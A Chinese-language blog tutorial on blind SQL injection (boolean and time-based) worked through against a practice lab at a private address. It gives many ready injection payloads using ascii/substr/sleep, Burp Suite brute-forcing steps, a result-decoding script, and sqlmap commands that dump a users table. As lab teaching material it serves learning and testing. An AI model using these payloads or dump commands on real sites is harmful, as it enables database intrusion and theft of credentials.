1 盲注
1.1 概念:
盲注就是在SQL注入过程中,SQL语句执行select之后,可能由于网站代码的限制或者Apache等解析器配置了不回显数据,造成在select数据之后不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个判断的过程称之为盲注。
通俗的讲就是在前端页面没有显示位,不能返回SQL语句执行错误的信息,输入正确和错误返回的信息都是一致的,这时候我们就需要使用页面的正常与不正常显示来进行SQL注入。
1.2 分类:
布尔盲注:没有返回SQL执行的错误信息,错误与正确的输入,返回的结果只有两种
时间盲注:页面上没有显示位和SQL语句执行的错误信息,正确执行和错误执行的返回界面一样
时间盲注前提条件: 首先页面没有显示位(如果有显示位可以选择union联合查询),并且没有返回sql语句的执行错误信息
2 盲注函数介绍
length() 返回字符串的长度
substr() 截取字符串(substr(str,pos,len))
left() 截取字符串( left (string,n) ) LEFT()函数是一个字符串函数,它返回具有指定长度的字符串的左边部分。
ascii() 返回字符的Ascii码
sleep(x) 将程序挂起x秒
if(expr1,expr2,expr3) 判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句
3 盲注靶场的做法
3.1 拆解数据库名称长度:
id=1' and (length(database()))>2 #
3.2 利用ASCII码猜解当前数据库名称:
and (ascii(substr(database(),1,1)))=98--+
返回正常,说明数据库名称第一位是b
and (ascii(substr(database(),2,1)))=118--+
返回正常,说明数据库名称第二位是v
做法一(使用limit函数,如果经行burp suite爆破则需要猜测字段最大数个数和字段的最大总长度,爆破量增大)
3.3 猜表名:
and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=97--+
返回正常,说明数据库表名的第一个的第一位是a
3.4 猜字段名:
and (ascii(substr((select column_name from information_schema.columns where table_name=‘user' limit 0,1),1,1)))=117--+
返回正常,说明user表中的列名称第一位是u
3.5 猜内容:
and (ascii(substr(( select name from name limit 1,1),1,1)))=114--+
返回正常,说明name列第一位是z
做法二(使用group_concat函数,先猜测总表名或者表总字段长度(包括分隔逗号),再使用burp suite爆破,其中有逗号进行分割判断),具体过程请参照下文靶场具体做法
3.1 延时注入靶场做法
if(expr1,expr2,expr3) 判断语句:如果第一个语句正确就执行第二个语句,如果错误执行第三个语句
and if(ascii(substr(database(),1,1))>120,0,sleep(10)) --+
4 布尔盲注靶场实例分析
4.1 没有显示SQL语句错误信息,但页面变化
注入id=1'
4.2 正确与错误显示信息不同
注入id=1' and 1=1 -- +,页面显示You are in...........
注入id=1' and 1=2 -- +,页面不显示You are in...........
4.3 当前页面字段总数为3
注入1' order by 4-- +时,页面不显示You are in...........
4.4 页面没有显示位
注入1' union select 1,2,3 -- +时,页面没有变化
综上可以判断其为布尔注入
4.5 推测数据库名的长度
http://192.168.174.131/Less-8/?id=1' and length(database())=8 -- +
4.6 推测数据库名,注入id=1' and ascii(substr(database(),1,1))=115 -- +,使用burp suite对页面进行抓包(爆破举例)
http://192.168.174.131/Less-8/?id=1' and ascii(substr(database(),1,1))=115 -- +
将其发送至Intruder
选择集束炸弹攻击,并清除原有§,在想添加Payloads的添加§,这样就可以实现暴力测试
数据库已推测是8位,substr(database(),1,1)会得到数据库第一位符号,且只从1开始(不从0开始),便知第一个payload设置为数值并从1开始到8,增量为1
因为我们已经转换成ascii码,便设置第二个payload也为数值,从32到126,增量为1
攻击后,将数据按payload 1排列,然后按长度排列
保存结果表,默认类型是所有文件,直接选用表格打开工具打开
复制需要转换的ascii码,新建input.xlsx文件,列名随意起一个,再将数据复制进去(这里不能直接在burp suite输出时设定格式为.xlsx,因为使用脚本转换后会报错,必须新建)
import pandas as pd
# 读取Excel文件
df = pd.read_excel('input.xlsx')
# 初始化变量
output_lines = []
current_line = []
# 逐字符处理数据
for row in df.itertuples(index=False):
for ascii_val in row:
char = chr(ascii_val)
if char == ',':
output_lines.append(''.join(current_line))
current_line = []
else:
current_line.append(char)
# 添加最后一行,如果有剩余字符
if current_line:
output_lines.append(''.join(current_line))
# 保存为文本文件
output_txt_path = 'output.txt'
with open(output_txt_path, 'w', encoding='utf-8') as file:
for line in output_lines:
file.write(line + '\n')
print(f"转换完成,结果已保存到 {output_txt_path}")
将input.txt放入python脚本同级目录,运行脚本,即可得到转换后的数据库名security
4.7 推测数据库中所有表名总长度
http://192.168.174.131/Less-8/?id=1' and length( (select group_concat(table_name) from information_schema.tables where table_schema =database()) )=29 -- +
4.8 推测数据库中所有表名,将其进行抓包,并发送给测试器,选择集束炸弹并添加payload
http://192.168.174.131/Less-8/?id=1' and ascii( substr((select group_concat(table_name) from information_schema.tables where table_schema =database()),1,1) )=101 -- +
设置payload 1为数值,从1到29,payload 2为数值,从32到126,增量均为1
将数据按payload 1排列,后按长度排列,保存结果表,使用脚本进行数据处理得到数据库下所有表名
4.9 推测users表字段总长度 20
http://192.168.174.131/Less-8/?id=1' and length( ( select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()) ) =20 -- +
4.10 推测users表总字段名,将其进行抓包,并发送给测试器,选择集束炸弹并添加payload
http://192.168.174.131/Less-8/?id=1' and ascii( substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),1,1) ) =105 -- +
设置payload 1为数值,从1到20,payload 2为数值,从32到126,增量均为1
将数据按payload 1排列,后按长度排列,保存结果表,使用脚本进行数据处理得到users表的所有字段名
4.11 推测users表的内容总长度 192
http://192.168.174.131/Less-8/?id=1' and length((select group_concat(id,username,password) from users))=192-- +
4.12 推测整个表内容
http://192.168.174.131/Less-8/?id=1' and ascii(substr((select group_concat(id,username,password) from users),1,1))=49-- +
将其进行抓包,并发送给测试器,选择集束炸弹并添加payload
设置payload 1为数值,从1到192,payload 2为数值,从32到126,增量均为1
将数据按payload 1排列,后按长度排列,保存结果表,使用脚本进行数据处理得到数据库下所有字段内容
5 布尔盲注靶场实例分析
5.1 没有显示SQL语句错误信息,页面也没有变化
注入id=1'
5.2 正确与错误注入显示信息相同
注入id=1' and 1=1 -- +,页面显示You are in...........
注入id=1' and 1=2 -- +,页面仍显示You are in...........
5.3 当前页面字段总数无法判断
注入1' order by 4-- +时,页面也会显示You are in...........
5.4 页面没有显示位
注入1' union select 1,2,3 -- +时,页面没有变化
综上可以判断其为时间注入
5.5 推测数据库名的长度 (使用if语句和sleep函数)
http://192.168.174.131/Less-9/?id=1' and if(length(database())=8,1,sleep(15)) -- +
当数据库名长度错误时,浏览器会加载15秒
当数据库名长度为8时,直接进入页面
5.6 根据if语句和sleep函数,我们可以判断浏览器加载时间进而判断语句的正确性,我们这样就可以形成布尔注入
推测数据库名的首位字符
http://192.168.174.131/Less-9/?id=1' and if(ascii(substr(database(),1,1))=115,1,sleep(15)) -- +
推测数据库所有表名的总长度
http://192.168.174.131/Less-9/?id=1' and if(length( (select group_concat(table_name) from information_schema.tables where table_schema=database()))=29 ,1,sleep(15)) -- +
推测数据库中所有表名的首位字符
http://192.168.174.131/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,1,sleep(15)) -- +
推测users表字段名的总长度
http://192.168.174.131/Less-9/?id=1' and if(length( (select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() ))=20,1,sleep(15)) -- +
推测users表所有字段名的首位字符
http://192.168.174.131/Less-9/?id=1' and if(ascii( substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() ),1,1))=105,1,sleep(15))+--++
推测users表中所有内容的总长度
http://192.168.174.131/Less-9/?id=1' and if(length((select group_concat(id,username,password) from users))=192,1,sleep(15))-- +
推测users表内容的首位字符
http://192.168.174.131/Less-9/?id=1' and if(ascii(substr((select group_concat(id,username,password) from users),1,1))=49,1,sleep(15))-- +
5.7 以上的注入语句由于burp suite爆破需要时间过长,所以我们采用第二种方法,使用sqlmap
sqlmap可以使用装于window环境下,也可以使用kali自带的,这里推荐使用kali环境下的,因为其运行速度更快
推测SQL注入类型
sqlmap -u " http://192.168.174.131/Less-9/?id=1" --batch
得到所有数据库名
sqlmap -u " http://192.168.174.131/Less-9/?id=1" --dbs --batch
得到数据库security的所有表名
sqlmap -u " http://192.168.174.131/Less-9/?id=1" -D security --tables --batch
得到表users的所有字段名
sqlmap -u " http://192.168.174.131/Less-9/?id=1" -D security -T users --columns --batch
得到users表的所有内容
sqlmap -u " http://192.168.174.131/Less-9/?id=1" -D security -T users -C "id,password,username" --dump --batch
非特殊说明,本博所有文章均为博主原创。
共有 0 条评论